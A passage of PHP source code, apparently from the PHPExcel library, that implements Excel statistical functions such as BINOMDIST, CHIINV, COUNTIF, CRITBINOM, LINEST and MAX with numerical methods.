@param float $value Number of successes in trials * @param float $trials Number of trials * @param float $probability Probability of success on each trial * @param boolean $cumulative * @return float * * @todo Cumulative distribution function * */ public static function BINOMDIST($value, $trials, $probability, $cumulative) { $value = floor(PHPExcel_Calculation_Functions::flattenSingleValue($value)); $trials = floor(PHPExcel_Calculation_Functions::flattenSingleValue($trials)); $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); if ((is_numeric($value)) && (is_numeric($trials)) && (is_numeric($probability))) { if (($value < 0) || ($value > $trials)) { return PHPExcel_Calculation_Functions::NaN(); } if (($probability < 0) || ($probability > 1)) { return PHPExcel_Calculation_Functions::NaN(); } if ((is_numeric($cumulative)) || (is_bool($cumulative))) { if ($cumulative) { $summer = 0; for ($i = 0; $i <= $value; ++$i) { $summer += PHPExcel_Calculation_MathTrig::COMBIN($trials, $i) * pow($probability, $i) * pow(1 - $probability, $trials - $i); } return $summer; } else { return PHPExcel_Calculation_MathTrig::COMBIN($trials, $value) * pow($probability, $value) * pow(1 - $probability, $trials - $value) ; } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * CHIDIST * * Returns the one-tailed probability of the chi-squared distribution. * * @param float $value Value for the function * @param float $degrees degrees of freedom * @return float */ public static function CHIDIST($value, $degrees) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $degrees = floor(PHPExcel_Calculation_Functions::flattenSingleValue($degrees)); if ((is_numeric($value)) && (is_numeric($degrees))) { if ($degrees < 1) { return PHPExcel_Calculation_Functions::NaN(); } if ($value < 0) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { return 1; } return PHPExcel_Calculation_Functions::NaN(); } return 1 - (self::incompleteGamma($degrees/2, $value/2) / self::gamma($degrees/2)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * CHIINV * * Returns the one-tailed probability of the chi-squared distribution. * * @param float $probability Probability for the function * @param float $degrees degrees of freedom * @return float */ public static function CHIINV($probability, $degrees) { $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $degrees = floor(PHPExcel_Calculation_Functions::flattenSingleValue($degrees)); if ((is_numeric($probability)) && (is_numeric($degrees))) { $xLo = 100; $xHi = 0; $x = $xNew = 1; $dx = 1; $i = 0; while ((abs($dx) > PRECISION) && ($i++ < MAX_ITERATIONS)) { // Apply Newton-Raphson step $result = self::CHIDIST($x, $degrees); $error = $result - $probability; if ($error == 0.0) { $dx = 0; } elseif ($error < 0.0) { $xLo = $x; } else { $xHi = $x; } // Avoid division by zero if ($result != 0.0) { $dx = $error / $result; $xNew = $x - $dx; } // If the NR fails to converge (which for example may be the // case if the initial guess is too rough) we apply a bisection // step to determine a more narrow interval around the root. if (($xNew < $xLo) || ($xNew > $xHi) || ($result == 0.0)) { $xNew = ($xLo + $xHi) / 2; $dx = $xNew - $x; } $x = $xNew; } if ($i == MAX_ITERATIONS) { return PHPExcel_Calculation_Functions::NA(); } return round($x, 12); } return PHPExcel_Calculation_Functions::VALUE(); } /** * CONFIDENCE * * Returns the confidence interval for a population mean * * @param float $alpha * @param float $stdDev Standard Deviation * @param float $size * @return float * */ public static function CONFIDENCE($alpha, $stdDev, $size) { $alpha = PHPExcel_Calculation_Functions::flattenSingleValue($alpha); $stdDev = PHPExcel_Calculation_Functions::flattenSingleValue($stdDev); $size = floor(PHPExcel_Calculation_Functions::flattenSingleValue($size)); if ((is_numeric($alpha)) && (is_numeric($stdDev)) && (is_numeric($size))) { if (($alpha <= 0) || ($alpha >= 1)) { return PHPExcel_Calculation_Functions::NaN(); } if (($stdDev <= 0) || ($size < 1)) { return PHPExcel_Calculation_Functions::NaN(); } return self::NORMSINV(1 - $alpha / 2) * $stdDev / sqrt($size); } return PHPExcel_Calculation_Functions::VALUE(); } /** * CORREL * * Returns covariance, the average of the products of deviations for each data point pair. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function CORREL($yValues, $xValues = null) { if ((is_null($xValues)) || (!is_array($yValues)) || (!is_array($xValues))) { return PHPExcel_Calculation_Functions::VALUE(); } if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getCorrelation(); } /** * COUNT * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * COUNT(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return int */ public static function COUNT() { $returnValue = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && ((!PHPExcel_Calculation_Functions::isCellValue($k)) || (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE))) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { ++$returnValue; } } return $returnValue; } /** * COUNTA * * Counts the number of cells that are not empty within the list of arguments * * Excel Function: * COUNTA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return int */ public static function COUNTA() { $returnValue = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a numeric, boolean or string value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { ++$returnValue; } } return $returnValue; } /** * COUNTBLANK * * Counts the number of empty cells within the list of arguments * * Excel Function: * COUNTBLANK(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return int */ public static function COUNTBLANK() { $returnValue = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a blank cell? if ((is_null($arg)) || ((is_string($arg)) && ($arg == ''))) { ++$returnValue; } } return $returnValue; } /** * COUNTIF * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * COUNTIF(value1[,value2[, ...]],condition) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @param string $condition The criteria that defines which cells will be counted. * @return int */ public static function COUNTIF($aArgs, $condition) { $returnValue = 0; $aArgs = PHPExcel_Calculation_Functions::flattenArray($aArgs); $condition = PHPExcel_Calculation_Functions::ifCondition($condition); // Loop through arguments foreach ($aArgs as $arg) { if (!is_numeric($arg)) { $arg = PHPExcel_Calculation::wrapResult(strtoupper($arg)); } $testCondition = '='.$arg.$condition; if (PHPExcel_Calculation::getInstance()->_calculateFormulaValue($testCondition)) { // Is it a value within our criteria ++$returnValue; } } return $returnValue; } /** * COVAR * * Returns covariance, the average of the products of deviations for each data point pair. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function COVAR($yValues, $xValues) { if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getCovariance(); } /** * CRITBINOM * * Returns the smallest value for which the cumulative binomial distribution is greater * than or equal to a criterion value * * See http://support.microsoft.com/kb/828117/ for details of the algorithm used * * @param float $trials number of Bernoulli trials * @param float $probability probability of a success on each trial * @param float $alpha criterion value * @return int * * @todo Warning. This implementation differs from the algorithm detailed on the MS * web site in that $CumPGuessMinus1 = $CumPGuess - 1 rather than $CumPGuess - $PGuess * This eliminates a potential endless loop error, but may have an adverse affect on the * accuracy of the function (although all my tests have so far returned correct results). * */ public static function CRITBINOM($trials, $probability, $alpha) { $trials = floor(PHPExcel_Calculation_Functions::flattenSingleValue($trials)); $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $alpha = PHPExcel_Calculation_Functions::flattenSingleValue($alpha); if ((is_numeric($trials)) && (is_numeric($probability)) && (is_numeric($alpha))) { if ($trials < 0) { return PHPExcel_Calculation_Functions::NaN(); } elseif (($probability < 0) || ($probability > 1)) { return PHPExcel_Calculation_Functions::NaN(); } elseif (($alpha < 0) || ($alpha > 1)) { return PHPExcel_Calculation_Functions::NaN(); } elseif ($alpha <= 0.5) { $t = sqrt(log(1 / ($alpha * $alpha))); $trialsApprox = 0 - ($t + (2.515517 + 0.802853 * $t + 0.010328 * $t * $t) / (1 + 1.432788 * $t + 0.189269 * $t * $t + 0.001308 * $t * $t * $t)); } else { $t = sqrt(log(1 / pow(1 - $alpha, 2))); $trialsApprox = $t - (2.515517 + 0.802853 * $t + 0.010328 * $t * $t) / (1 + 1.432788 * $t + 0.189269 * $t * $t + 0.001308 * $t * $t * $t); } $Guess = floor($trials * $probability + $trialsApprox * sqrt($trials * $probability * (1 - $probability))); if ($Guess < 0) { $Guess = 0; } elseif ($Guess > $trials) { $Guess = $trials; } $TotalUnscaledProbability = $UnscaledPGuess = $UnscaledCumPGuess = 0.0; $EssentiallyZero = 10e-12; $m = floor($trials * $probability); ++$TotalUnscaledProbability; if ($m == $Guess) { ++$UnscaledPGuess; } if ($m <= $Guess) { ++$UnscaledCumPGuess; } $PreviousValue = 1; $Done = false; $k = $m + 1; while ((!$Done) && ($k <= $trials)) { $CurrentValue = $PreviousValue * ($trials - $k + 1) * $probability / ($k * (1 - $probability)); $TotalUnscaledProbability += $CurrentValue; if ($k == $Guess) { $UnscaledPGuess += $CurrentValue; } if ($k <= $Guess) { $UnscaledCumPGuess += $CurrentValue; } if ($CurrentValue <= $EssentiallyZero) { $Done = true; } $PreviousValue = $CurrentValue; ++$k; } $PreviousValue = 1; $Done = false; $k = $m - 1; while ((!$Done) && ($k >= 0)) { $CurrentValue = $PreviousValue * $k + 1 * (1 - $probability) / (($trials - $k) * $probability); $TotalUnscaledProbability += $CurrentValue; if ($k == $Guess) { $UnscaledPGuess += $CurrentValue; } if ($k <= $Guess) { $UnscaledCumPGuess += $CurrentValue; } if ($CurrentValue <= $EssentiallyZero) { $Done = true; } $PreviousValue = $CurrentValue; --$k; } $PGuess = $UnscaledPGuess / $TotalUnscaledProbability; $CumPGuess = $UnscaledCumPGuess / $TotalUnscaledProbability; // $CumPGuessMinus1 = $CumPGuess - $PGuess; $CumPGuessMinus1 = $CumPGuess - 1; while (true) { if (($CumPGuessMinus1 < $alpha) && ($CumPGuess >= $alpha)) { return $Guess; } elseif (($CumPGuessMinus1 < $alpha) && ($CumPGuess < $alpha)) { $PGuessPlus1 = $PGuess * ($trials - $Guess) * $probability / $Guess / (1 - $probability); $CumPGuessMinus1 = $CumPGuess; $CumPGuess = $CumPGuess + $PGuessPlus1; $PGuess = $PGuessPlus1; ++$Guess; } elseif (($CumPGuessMinus1 >= $alpha) && ($CumPGuess >= $alpha)) { $PGuessMinus1 = $PGuess * $Guess * (1 - $probability) / ($trials - $Guess + 1) / $probability; $CumPGuess = $CumPGuessMinus1; $CumPGuessMinus1 = $CumPGuessMinus1 - $PGuess; $PGuess = $PGuessMinus1; --$Guess; } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * DEVSQ * * Returns the sum of squares of deviations of data points from their sample mean. * * Excel Function: * DEVSQ(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function DEVSQ() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); // Return value $returnValue = null; $aMean = self::AVERAGE($aArgs); if ($aMean != PHPExcel_Calculation_Functions::DIV0()) { $aCount = -1; foreach ($aArgs as $k => $arg) { // Is it a numeric value? if ((is_bool($arg)) && ((!PHPExcel_Calculation_Functions::isCellValue($k)) || (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE))) { $arg = (integer) $arg; } if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = pow(($arg - $aMean), 2); } else { $returnValue += pow(($arg - $aMean), 2); } ++$aCount; } } // Return if (is_null($returnValue)) { return PHPExcel_Calculation_Functions::NaN(); } else { return $returnValue; } } return self::NA(); } /** * EXPONDIST * * Returns the exponential distribution. Use EXPONDIST to model the time between events, * such as how long an automated bank teller takes to deliver cash. For example, you can * use EXPONDIST to determine the probability that the process takes at most 1 minute. * * @param float $value Value of the function * @param float $lambda The parameter value * @param boolean $cumulative * @return float */ public static function EXPONDIST($value, $lambda, $cumulative) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $lambda = PHPExcel_Calculation_Functions::flattenSingleValue($lambda); $cumulative = PHPExcel_Calculation_Functions::flattenSingleValue($cumulative); if ((is_numeric($value)) && (is_numeric($lambda))) { if (($value < 0) || ($lambda < 0)) { return PHPExcel_Calculation_Functions::NaN(); } if ((is_numeric($cumulative)) || (is_bool($cumulative))) { if ($cumulative) { return 1 - exp(0-$value*$lambda); } else { return $lambda * exp(0-$value*$lambda); } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * FISHER * * Returns the Fisher transformation at x. This transformation produces a function that * is normally distributed rather than skewed. Use this function to perform hypothesis * testing on the correlation coefficient. * * @param float $value * @return float */ public static function FISHER($value) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); if (is_numeric($value)) { if (($value <= -1) || ($value >= 1)) { return PHPExcel_Calculation_Functions::NaN(); } return 0.5 * log((1+$value)/(1-$value)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * FISHERINV * * Returns the inverse of the Fisher transformation. Use this transformation when * analyzing correlations between ranges or arrays of data. If y = FISHER(x), then * FISHERINV(y) = x. * * @param float $value * @return float */ public static function FISHERINV($value) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); if (is_numeric($value)) { return (exp(2 * $value) - 1) / (exp(2 * $value) + 1); } return PHPExcel_Calculation_Functions::VALUE(); } /** * FORECAST * * Calculates, or predicts, a future value by using existing values. The predicted value is a y-value for a given x-value. * * @param float Value of X for which we want to find Y * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function FORECAST($xValue, $yValues, $xValues) { $xValue = PHPExcel_Calculation_Functions::flattenSingleValue($xValue); if (!is_numeric($xValue)) { return PHPExcel_Calculation_Functions::VALUE(); } elseif (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getValueOfYForX($xValue); } /** * GAMMADIST * * Returns the gamma distribution. * * @param float $value Value at which you want to evaluate the distribution * @param float $a Parameter to the distribution * @param float $b Parameter to the distribution * @param boolean $cumulative * @return float * */ public static function GAMMADIST($value, $a, $b, $cumulative) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $a = PHPExcel_Calculation_Functions::flattenSingleValue($a); $b = PHPExcel_Calculation_Functions::flattenSingleValue($b); if ((is_numeric($value)) && (is_numeric($a)) && (is_numeric($b))) { if (($value < 0) || ($a <= 0) || ($b <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } if ((is_numeric($cumulative)) || (is_bool($cumulative))) { if ($cumulative) { return self::incompleteGamma($a, $value / $b) / self::gamma($a); } else { return (1 / (pow($b, $a) * self::gamma($a))) * pow($value, $a-1) * exp(0-($value / $b)); } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * GAMMAINV * * Returns the inverse of the beta distribution. * * @param float $probability Probability at which you want to evaluate the distribution * @param float $alpha Parameter to the distribution * @param float $beta Parameter to the distribution * @return float * */ public static function GAMMAINV($probability, $alpha, $beta) { $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $alpha = PHPExcel_Calculation_Functions::flattenSingleValue($alpha); $beta = PHPExcel_Calculation_Functions::flattenSingleValue($beta); if ((is_numeric($probability)) && (is_numeric($alpha)) && (is_numeric($beta))) { if (($alpha <= 0) || ($beta <= 0) || ($probability < 0) || ($probability > 1)) { return PHPExcel_Calculation_Functions::NaN(); } $xLo = 0; $xHi = $alpha * $beta * 5; $x = $xNew = 1; $error = $pdf = 0; $dx = 1024; $i = 0; while ((abs($dx) > PRECISION) && ($i++ < MAX_ITERATIONS)) { // Apply Newton-Raphson step $error = self::GAMMADIST($x, $alpha, $beta, true) - $probability; if ($error < 0.0) { $xLo = $x; } else { $xHi = $x; } $pdf = self::GAMMADIST($x, $alpha, $beta, false); // Avoid division by zero if ($pdf != 0.0) { $dx = $error / $pdf; $xNew = $x - $dx; } // If the NR fails to converge (which for example may be the // case if the initial guess is too rough) we apply a bisection // step to determine a more narrow interval around the root. if (($xNew < $xLo) || ($xNew > $xHi) || ($pdf == 0.0)) { $xNew = ($xLo + $xHi) / 2; $dx = $xNew - $x; } $x = $xNew; } if ($i == MAX_ITERATIONS) { return PHPExcel_Calculation_Functions::NA(); } return $x; } return PHPExcel_Calculation_Functions::VALUE(); } /** * GAMMALN * * Returns the natural logarithm of the gamma function. * * @param float $value * @return float */ public static function GAMMALN($value) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); if (is_numeric($value)) { if ($value <= 0) { return PHPExcel_Calculation_Functions::NaN(); } return log(self::gamma($value)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * GEOMEAN * * Returns the geometric mean of an array or range of positive data. For example, you * can use GEOMEAN to calculate average growth rate given compound interest with * variable rates. * * Excel Function: * GEOMEAN(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function GEOMEAN() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $aMean = PHPExcel_Calculation_MathTrig::PRODUCT($aArgs); if (is_numeric($aMean) && ($aMean > 0)) { $aCount = self::COUNT($aArgs) ; if (self::MIN($aArgs) > 0) { return pow($aMean, (1 / $aCount)); } } return PHPExcel_Calculation_Functions::NaN(); } /** * GROWTH * * Returns values along a predicted emponential trend * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @param array of mixed Values of X for which we want to find Y * @param boolean A logical value specifying whether to force the intersect to equal 0. * @return array of float */ public static function GROWTH($yValues, $xValues = array(), $newValues = array(), $const = true) { $yValues = PHPExcel_Calculation_Functions::flattenArray($yValues); $xValues = PHPExcel_Calculation_Functions::flattenArray($xValues); $newValues = PHPExcel_Calculation_Functions::flattenArray($newValues); $const = (is_null($const)) ? true : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($const); $bestFitExponential = trendClass::calculate(trendClass::TREND_EXPONENTIAL, $yValues, $xValues, $const); if (empty($newValues)) { $newValues = $bestFitExponential->getXValues(); } $returnArray = array(); foreach ($newValues as $xValue) { $returnArray[0][] = $bestFitExponential->getValueOfYForX($xValue); } return $returnArray; } /** * HARMEAN * * Returns the harmonic mean of a data set. The harmonic mean is the reciprocal of the * arithmetic mean of reciprocals. * * Excel Function: * HARMEAN(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function HARMEAN() { // Return value $returnValue = PHPExcel_Calculation_Functions::NA(); // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); if (self::MIN($aArgs) < 0) { return PHPExcel_Calculation_Functions::NaN(); } $aCount = 0; foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if ($arg <= 0) { return PHPExcel_Calculation_Functions::NaN(); } if (is_null($returnValue)) { $returnValue = (1 / $arg); } else { $returnValue += (1 / $arg); } ++$aCount; } } // Return if ($aCount > 0) { return 1 / ($returnValue / $aCount); } else { return $returnValue; } } /** * HYPGEOMDIST * * Returns the hypergeometric distribution. HYPGEOMDIST returns the probability of a given number of * sample successes, given the sample size, population successes, and population size. * * @param float $sampleSuccesses Number of successes in the sample * @param float $sampleNumber Size of the sample * @param float $populationSuccesses Number of successes in the population * @param float $populationNumber Population size * @return float * */ public static function HYPGEOMDIST($sampleSuccesses, $sampleNumber, $populationSuccesses, $populationNumber) { $sampleSuccesses = floor(PHPExcel_Calculation_Functions::flattenSingleValue($sampleSuccesses)); $sampleNumber = floor(PHPExcel_Calculation_Functions::flattenSingleValue($sampleNumber)); $populationSuccesses = floor(PHPExcel_Calculation_Functions::flattenSingleValue($populationSuccesses)); $populationNumber = floor(PHPExcel_Calculation_Functions::flattenSingleValue($populationNumber)); if ((is_numeric($sampleSuccesses)) && (is_numeric($sampleNumber)) && (is_numeric($populationSuccesses)) && (is_numeric($populationNumber))) { if (($sampleSuccesses < 0) || ($sampleSuccesses > $sampleNumber) || ($sampleSuccesses > $populationSuccesses)) { return PHPExcel_Calculation_Functions::NaN(); } if (($sampleNumber <= 0) || ($sampleNumber > $populationNumber)) { return PHPExcel_Calculation_Functions::NaN(); } if (($populationSuccesses <= 0) || ($populationSuccesses > $populationNumber)) { return PHPExcel_Calculation_Functions::NaN(); } return PHPExcel_Calculation_MathTrig::COMBIN($populationSuccesses, $sampleSuccesses) * PHPExcel_Calculation_MathTrig::COMBIN($populationNumber - $populationSuccesses, $sampleNumber - $sampleSuccesses) / PHPExcel_Calculation_MathTrig::COMBIN($populationNumber, $sampleNumber); } return PHPExcel_Calculation_Functions::VALUE(); } /** * INTERCEPT * * Calculates the point at which a line will intersect the y-axis by using existing x-values and y-values. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function INTERCEPT($yValues, $xValues) { if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getIntersect(); } /** * KURT * * Returns the kurtosis of a data set. Kurtosis characterizes the relative peakedness * or flatness of a distribution compared with the normal distribution. Positive * kurtosis indicates a relatively peaked distribution. Negative kurtosis indicates a * relatively flat distribution. * * @param array Data Series * @return float */ public static function KURT() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $mean = self::AVERAGE($aArgs); $stdDev = self::STDEV($aArgs); if ($stdDev > 0) { $count = $summer = 0; // Loop through arguments foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summer += pow((($arg - $mean) / $stdDev), 4); ++$count; } } } // Return if ($count > 3) { return $summer * ($count * ($count+1) / (($count-1) * ($count-2) * ($count-3))) - (3 * pow($count-1, 2) / (($count-2) * ($count-3))); } } return PHPExcel_Calculation_Functions::DIV0(); } /** * LARGE * * Returns the nth largest value in a data set. You can use this function to * select a value based on its relative standing. * * Excel Function: * LARGE(value1[,value2[, ...]],entry) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @param int $entry Position (ordered from the largest) in the array or range of data to return * @return float * */ public static function LARGE() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $entry = floor(array_pop($aArgs)); if ((is_numeric($entry)) && (!is_string($entry))) { $mArgs = array(); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } $count = self::COUNT($mArgs); $entry = floor(--$entry); if (($entry < 0) || ($entry >= $count) || ($count == 0)) { return PHPExcel_Calculation_Functions::NaN(); } rsort($mArgs); return $mArgs[$entry]; } return PHPExcel_Calculation_Functions::VALUE(); } /** * LINEST * * Calculates the statistics for a line by using the "least squares" method to calculate a straight line that best fits your data, * and then returns an array that describes the line. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @param boolean A logical value specifying whether to force the intersect to equal 0. * @param boolean A logical value specifying whether to return additional regression statistics. * @return array */ public static function LINEST($yValues, $xValues = null, $const = true, $stats = false) { $const = (is_null($const)) ? true : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($const); $stats = (is_null($stats)) ? false : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($stats); if (is_null($xValues)) { $xValues = range(1, count(PHPExcel_Calculation_Functions::flattenArray($yValues))); } if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return 0; } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues, $const); if ($stats) { return array( array( $bestFitLinear->getSlope(), $bestFitLinear->getSlopeSE(), $bestFitLinear->getGoodnessOfFit(), $bestFitLinear->getF(), $bestFitLinear->getSSRegression(), ), array( $bestFitLinear->getIntersect(), $bestFitLinear->getIntersectSE(), $bestFitLinear->getStdevOfResiduals(), $bestFitLinear->getDFResiduals(), $bestFitLinear->getSSResiduals() ) ); } else { return array( $bestFitLinear->getSlope(), $bestFitLinear->getIntersect() ); } } /** * LOGEST * * Calculates an exponential curve that best fits the X and Y data series, * and then returns an array that describes the line. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @param boolean A logical value specifying whether to force the intersect to equal 0. * @param boolean A logical value specifying whether to return additional regression statistics. * @return array */ public static function LOGEST($yValues, $xValues = null, $const = true, $stats = false) { $const = (is_null($const)) ? true : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($const); $stats = (is_null($stats)) ? false : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($stats); if (is_null($xValues)) { $xValues = range(1, count(PHPExcel_Calculation_Functions::flattenArray($yValues))); } if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); foreach ($yValues as $value) { if ($value <= 0.0) { return PHPExcel_Calculation_Functions::NaN(); } } if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return 1; } $bestFitExponential = trendClass::calculate(trendClass::TREND_EXPONENTIAL, $yValues, $xValues, $const); if ($stats) { return array( array( $bestFitExponential->getSlope(), $bestFitExponential->getSlopeSE(), $bestFitExponential->getGoodnessOfFit(), $bestFitExponential->getF(), $bestFitExponential->getSSRegression(), ), array( $bestFitExponential->getIntersect(), $bestFitExponential->getIntersectSE(), $bestFitExponential->getStdevOfResiduals(), $bestFitExponential->getDFResiduals(), $bestFitExponential->getSSResiduals() ) ); } else { return array( $bestFitExponential->getSlope(), $bestFitExponential->getIntersect() ); } } /** * LOGINV * * Returns the inverse of the normal cumulative distribution * * @param float $probability * @param float $mean * @param float $stdDev * @return float * * @todo Try implementing P J Acklam's refinement algorithm for greater * accuracy if I can get my head round the mathematics * (as described at) http://home.online.no/~pjacklam/notes/invnorm/ */ public static function LOGINV($probability, $mean, $stdDev) { $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $mean = PHPExcel_Calculation_Functions::flattenSingleValue($mean); $stdDev = PHPExcel_Calculation_Functions::flattenSingleValue($stdDev); if ((is_numeric($probability)) && (is_numeric($mean)) && (is_numeric($stdDev))) { if (($probability < 0) || ($probability > 1) || ($stdDev <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } return exp($mean + $stdDev * self::NORMSINV($probability)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * LOGNORMDIST * * Returns the cumulative lognormal distribution of x, where ln(x) is normally distributed * with parameters mean and standard_dev. * * @param float $value * @param float $mean * @param float $stdDev * @return float */ public static function LOGNORMDIST($value, $mean, $stdDev) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $mean = PHPExcel_Calculation_Functions::flattenSingleValue($mean); $stdDev = PHPExcel_Calculation_Functions::flattenSingleValue($stdDev); if ((is_numeric($value)) && (is_numeric($mean)) && (is_numeric($stdDev))) { if (($value <= 0) || ($stdDev <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } return self::NORMSDIST((log($value) - $mean) / $stdDev); } return PHPExcel_Calculation_Functions::VALUE(); } /** * MAX * * MAX returns the value of the element of the values passed that has the highest value, * with negative numbers considered smaller than positive numbers. * * Excel Function: * MAX(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function MAX() { $returnValue = null; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if ((is_null($returnValue)) || ($arg > $returnValue)) { $returnValue = $arg; } } } if (is_null($returnValue)) { return 0; } return $returnValue; } /** * MAXA * * Returns the greatest value in a list of arguments, including numbers, text, and logical values * * Excel Function: * MAXA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function MAXA() { $returnValue = null; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif 